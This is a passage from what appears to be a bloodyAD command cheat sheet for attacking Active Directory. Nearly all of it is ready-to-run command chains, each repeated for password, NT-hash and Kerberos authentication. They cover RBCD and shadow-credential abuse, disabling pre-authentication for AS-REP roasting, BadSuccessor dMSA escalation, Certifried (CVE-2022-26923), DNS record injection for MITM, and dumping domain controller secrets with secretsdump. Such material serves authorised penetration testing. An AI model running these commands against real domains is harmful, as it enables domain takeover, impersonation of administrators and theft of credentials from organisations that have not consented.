get object TARGET$ --attr msDS-AllowedToActOnBehalfOfOtherIdentity
# After exploitation, clean up the attribute
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove rbcd TARGET$ $COMP_NAME
# Set RBCD: allow EVIL$ to impersonate any user to TARGET$
# Requires GenericAll, GenericWrite, or WriteProperty on TARGET$
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add rbcd TARGET$ $COMP_NAME
# Verify the attribute was written correctly
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object TARGET$ --attr msDS-AllowedToActOnBehalfOfOtherIdentity
# After exploitation, clean up the attribute
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove rbcd TARGET$ $COMP_NAME
# Set RBCD: allow EVIL$ to impersonate any user to TARGET$
# Requires GenericAll, GenericWrite, or WriteProperty on TARGET$
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add rbcd TARGET$ $COMP_NAME
# Verify the attribute was written correctly
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object TARGET$ --attr msDS-AllowedToActOnBehalfOfOtherIdentity
# After exploitation, clean up the attribute
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove rbcd TARGET$ $COMP_NAME
getST.py to request the service ticket and then move laterally.
getST.py $DOMAIN/'$COMP_NAME':$COMP_PASS \
-spn cifs/TARGET.$DOMAIN \
-impersonate Administrator \
-dc-ip $DC_IP
export KRB5CCNAME="Administrator@cifs_TARGET.$DOMAIN@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@TARGET.$DOMAIN
Shadow Credentials
Shadow Credentials abuse themsDS-KeyCredentialLink attribute. Adding a Key Credential to a target account allows authentication as that account via PKINIT without knowing its password. Requires GenericAll or WriteProperty on the attribute.
- Password
- NT Hash
- Kerberos
# Add shadow credentials to a target user
# bloodyAD generates the key pair and outputs the PEM files and NT hash automatically
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add shadowCredentials $TARGET
# Add shadow credentials to a computer account (enables impersonation via RBCD chain)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add shadowCredentials 'TARGET$'
# Remove a specific key credential by its DeviceID (shown in add output)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove shadowCredentials $TARGET --key $DEVICE_ID
# Add shadow credentials to a target user
# bloodyAD generates the key pair and outputs the PEM files and NT hash automatically
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add shadowCredentials $TARGET
# Add shadow credentials to a computer account (enables impersonation via RBCD chain)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add shadowCredentials 'TARGET$'
# Remove a specific key credential by its DeviceID (shown in add output)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove shadowCredentials $TARGET --key $DEVICE_ID
# Add shadow credentials to a target user
# bloodyAD generates the key pair and outputs the PEM files and NT hash automatically
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add shadowCredentials $TARGET
# Add shadow credentials to a computer account (enables impersonation via RBCD chain)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add shadowCredentials 'TARGET$'
# Remove a specific key credential by its DeviceID (shown in add output)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove shadowCredentials $TARGET --key $DEVICE_ID
add shadowCredentials command outputs the certificate files and NT hash directly. If PKINIT is blocked, use gettgtpkinit.py or Certipy auth manually with the generated cert.
UAC Manipulation
UAC flags control account behaviour: pre-auth requirements, password expiry, account status, and more. Setting or unsetting these flags requires GenericAll or WriteProperty on the account.- Password
- NT Hash
- Kerberos
# Disable Kerberos pre-authentication on a user (makes it AS-REP roastable)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add uac $TARGET -f DONT_REQ_PREAUTH
# Re-enable pre-authentication (clean up)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove uac $TARGET -f DONT_REQ_PREAUTH
# Set password to never expire on a service account under your control
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add uac svc_account -f DONT_EXPIRE_PASSWORD
# Check current flags after modification
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
# Disable Kerberos pre-authentication on a user (makes it AS-REP roastable)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add uac $TARGET -f DONT_REQ_PREAUTH
# Re-enable pre-authentication (clean up)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove uac $TARGET -f DONT_REQ_PREAUTH
# Set password to never expire on a service account under your control
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add uac svc_account -f DONT_EXPIRE_PASSWORD
# Check current flags after modification
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
# Disable Kerberos pre-authentication on a user (makes it AS-REP roastable)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add uac $TARGET -f DONT_REQ_PREAUTH
# Re-enable pre-authentication (clean up)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove uac $TARGET -f DONT_REQ_PREAUTH
# Set password to never expire on a service account under your control
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add uac svc_account -f DONT_EXPIRE_PASSWORD
# Check current flags after modification
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
BadSuccessor (Windows Server 2025)
BadSuccessor is a privilege escalation path affecting Windows Server 2025 domain controllers. An attacker withCreateChild rights on any OU can create a delegated Managed Service Account (dMSA) that inherits the privileges of any existing account, including Domain Admins.
First confirm the vulnerability exists:
- Password
- NT Hash
- Kerberos
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
- Password
- NT Hash
- Kerberos
# Create a dMSA under an OU where you have CreateChild rights
# -t specifies the principal account whose privileges the dMSA will inherit
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add badSuccessor evilDMSA \
--ou "OU=Workstations,DC=$DOMAIN,DC=local" \
-t "CN=Administrator,CN=Users,DC=$DOMAIN,DC=local"
# Create a dMSA under an OU where you have CreateChild rights
# -t specifies the principal account whose privileges the dMSA will inherit
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add badSuccessor evilDMSA \
--ou "OU=Workstations,DC=$DOMAIN,DC=local" \
-t "CN=Administrator,CN=Users,DC=$DOMAIN,DC=local"
# Create a dMSA under an OU where you have CreateChild rights
# -t specifies the principal account whose privileges the dMSA will inherit
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add badSuccessor evilDMSA \
--ou "OU=Workstations,DC=$DOMAIN,DC=local" \
-t "CN=Administrator,CN=Users,DC=$DOMAIN,DC=local"
# Get a TGT as the dMSA (password is the one you set during creation)
getTGT.py $DOMAIN/evilDMSA:$COMP_PASS -dc-ip $DC_IP
export KRB5CCNAME=evilDMSA.ccache
# The TGT carries the target account's SIDs; access DCs directly
secretsdump.py -k -no-pass $DOMAIN/evilDMSA@$DC_HOST
Object Management
These commands cover object creation, deletion, and DNS record manipulation. Computer account creation is commonly needed as a prerequisite for RBCD attacks when MachineAccountQuota is above 0.- Password
- NT Hash
- Kerberos
# Create a new domain user
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add user newuser 'Password123!'
# Create a computer account (alternative to addcomputer.py for RBCD prereq)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add computer '$COMP_NAME' $COMP_PASS
# Delete any AD object by distinguished name
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove object "CN=$COMP_NAME,CN=Computers,DC=$DOMAIN,DC=local"
# Add a DNS A record (useful for MITM or coercion attacks)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add dnsRecord attacker-host $LHOST
# Remove a DNS record after use
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove dnsRecord attacker-host $LHOST
# Create a new domain user
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add user newuser 'Password123!'
# Create a computer account (alternative to addcomputer.py for RBCD prereq)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add computer '$COMP_NAME' $COMP_PASS
# Delete any AD object by distinguished name
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove object "CN=$COMP_NAME,CN=Computers,DC=$DOMAIN,DC=local"
# Add a DNS A record (useful for MITM or coercion attacks)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add dnsRecord attacker-host $LHOST
# Remove a DNS record after use
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove dnsRecord attacker-host $LHOST
# Create a new domain user
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add user newuser 'Password123!'
# Create a computer account (alternative to addcomputer.py for RBCD prereq)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add computer '$COMP_NAME' $COMP_PASS
# Delete any AD object by distinguished name
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove object "CN=$COMP_NAME,CN=Computers,DC=$DOMAIN,DC=local"
# Add a DNS A record (useful for MITM or coercion attacks)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add dnsRecord attacker-host $LHOST
# Remove a DNS record after use
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove dnsRecord attacker-host $LHOST
Certifried (CVE-2022-26923)
Certifried abuses the fact that the AD CS Machine template usesdNSHostName as the certificate subject rather than the machine SID. A low-priv user with ms-DS-MachineAccountQuota > 0 can create a computer account, set its dNSHostName to match a DC, request a Machine cert, and use that cert to set up RBCD against the DC.
Steps 1-3: Confirm quota, create computer account, and spoof dNSHostName.
- Password
- NT Hash
- Kerberos
# Step 1: Confirm you can create machine accounts
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Step 2: Create a computer account
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add computer 'attacker$' $COMP_PASS
# Step 3: Set its dNSHostName to match the DC
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object 'attacker$' dNSHostName -v "DC01.$DOMAIN"
# Step 1: Confirm you can create machine accounts
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Step 2: Create a computer account
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add computer 'attacker$' $COMP_PASS
# Step 3: Set its dNSHostName to match the DC
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object 'attacker$' dNSHostName -v "DC01.$DOMAIN"
# Step 1: Confirm you can create machine accounts
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Step 2: Create a computer account
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add computer 'attacker$' $COMP_PASS
# Step 3: Set its dNSHostName to match the DC
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object 'attacker$' dNSHostName -v "DC01.$DOMAIN"
# Step 4: Request a Machine cert as the spoofed computer (via Certipy)
certipy req -u 'attacker$'@$DOMAIN -p $COMP_PASS \
-dc-ip $DC_IP -target $CA_HOST -ca $CA -template Machine
# Step 5: Use the cert to authenticate and retrieve the DC's NT hash
certipy auth -pfx dc01.pfx -dc-ip $DC_IP
# If PKINIT unavailable, convert to PEM and auth via Schannel:
certipy cert -pfx dc01.pfx -out dc01.pem
- Password
- NT Hash
- Kerberos
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr msDS-Behavior-Version
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr msDS-Behavior-Version
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr msDS-Behavior-Version
- Password
- NT Hash
- Kerberos
# Step 6: Set RBCD on the DC to impersonate DA via S4U2Proxy
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add rbcd 'DC01$' 'attacker$'
# Step 6: Set RBCD on the DC to impersonate DA via S4U2Proxy
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add rbcd 'DC01$' 'attacker$'
# Step 6: Set RBCD on the DC to impersonate DA via S4U2Proxy
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add rbcd 'DC01$' 'attacker$'
getST.py $DOMAIN/'attacker$':$COMP_PASS \
-spn cifs/DC01.$DOMAIN \
-impersonate Administrator \
-dc-ip $DC_IP
export KRB5CCNAME="Administrator@cifs_DC01.$DOMAIN@${DOMAIN^^}.ccache"
secretsdump.py -k -no-pass Administrator@DC01.$DOMAIN
Recycle Bin & Tombstone Reanimation
When the AD Recycle Bin is enabled, deleted objects are preserved as tombstones with most attributes intact. If you can read or write deleted objects, you may be able to restore a previously privileged account or read credentials that were on it before deletion.Enumerate Deleted Objects
The LDAP control OID1.2.840.113556.1.4.2064 unlocks visibility of deleted, tombstoned, and recycled objects in queries.
- Password
- NT Hash
- Kerberos
# List all deleted objects (names only)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get search -c 1.2.840.113556.1.4.2064 \
--filter '(isDeleted=TRUE)' --attr name
# Read the DACL on the Deleted Objects container to check your permissions
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object 'DC=$DOMAIN,DC=local' --attr ntsecuritydescriptor --resolve-sd
# Check which deleted objects your user can write (deleted objects included by default)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get writable
# List all deleted objects (names only)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get search -c 1.2.840.113556.1.4.2064 \
--filter '(isDeleted=TRUE)' --attr name
# Read the DACL on the Deleted Objects container to check your permissions
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object 'DC=$DOMAIN,DC=local' --attr ntsecuritydescriptor --resolve-sd
# Check which deleted objects your user can write (deleted objects included by default)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get writable
# List all deleted objects (names only)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get search -c 1.2.840.113556.1.4.2064 \
--filter '(isDeleted=TRUE)' --attr name
# Read the DACL on the Deleted Objects container to check your permissions
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object 'DC=$DOMAIN,DC=local' --attr ntsecuritydescriptor --resolve-sd
# Check which deleted objects your user can write (deleted objects included by default)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get writable
Restore a Tombstoned Object
Reanimation requires theReanimate Tombstones extended right on the domain naming context, or ownership of the deleted object. Restore by SID (shown in the deleted object’s objectSid attribute).
- Password
- NT Hash
- Kerberos
# Restore a tombstoned object by its SID
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set restore $OBJECT_SID
# Restore a tombstoned object by its SID
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set restore $OBJECT_SID
# Restore a tombstoned object by its SID
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set restore $OBJECT_SID
Retention Settings
These attributes control how long objects remain accessible after deletion.- Password
- NT Hash
- Kerberos
# View current tombstone and deleted object lifetimes
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
--attr tombstoneLifetime,msDS-DeletedObjectLifetime
# Modify tombstone lifetime (days; requires Domain Admin / write on the DS config object)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
tombstoneLifetime -v 60
# Modify deleted object lifetime separately (Recycle Bin retention period)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
msDS-DeletedObjectLifetime -v 30
# View current tombstone and deleted object lifetimes
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
--attr tombstoneLifetime,msDS-DeletedObjectLifetime
# Modify tombstone lifetime (days; requires Domain Admin / write on the DS config object)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
tombstoneLifetime -v 60
# Modify deleted object lifetime separately (Recycle Bin retention period)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
msDS-DeletedObjectLifetime -v 30
# View current tombstone and deleted object lifetimes
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
--attr tombstoneLifetime,msDS-DeletedObjectLifetime
# Modify tombstone lifetime (days; requires Domain Admin / write on the DS config object)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
tombstoneLifetime -v 60
# Modify deleted object lifetime separately (Recycle Bin retention period)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=$DOMAIN,DC=local' \
msDS-DeletedObjectLifetime -v 30
Global Flags Reference
| Flag | Purpose |
|---|---|
-H / --host | DC hostname or IP |
-i / --dc-ip | DC IP when hostname cannot resolve |
-d | Domain (e.g., domain.local) — use FQDN to avoid CONSTRAINT_ATT_TYPE errors when creating computers |
-u / -p | Username and password or LMHASH:NTHASH |
-k | Kerberos auth: ccache=/path/to/file.ccache, kirbi=file.kirbi, or keytab=file.keytab |
-f {b64,hex,aes,rc4,default} | Format for --password or -k <keyfile> value |
-c | Certificate auth: /path/to/key:/path/to/cert. Leave empty with -k to use Windows Certstore for PKINIT |
-s | Use LDAPS (port 636). Use -ss to strip all encryption/signing (debug only) |
--dns | IP of a DNS server for resolving AD names in inter-domain operations |
--gc | Connect to Global Catalog (port 3268) for forest-wide queries |
-t | Connection timeout in seconds |
--json | Output results as JSON |
-v {QUIET,INFO,DEBUG,TRACE} | Verbosity level |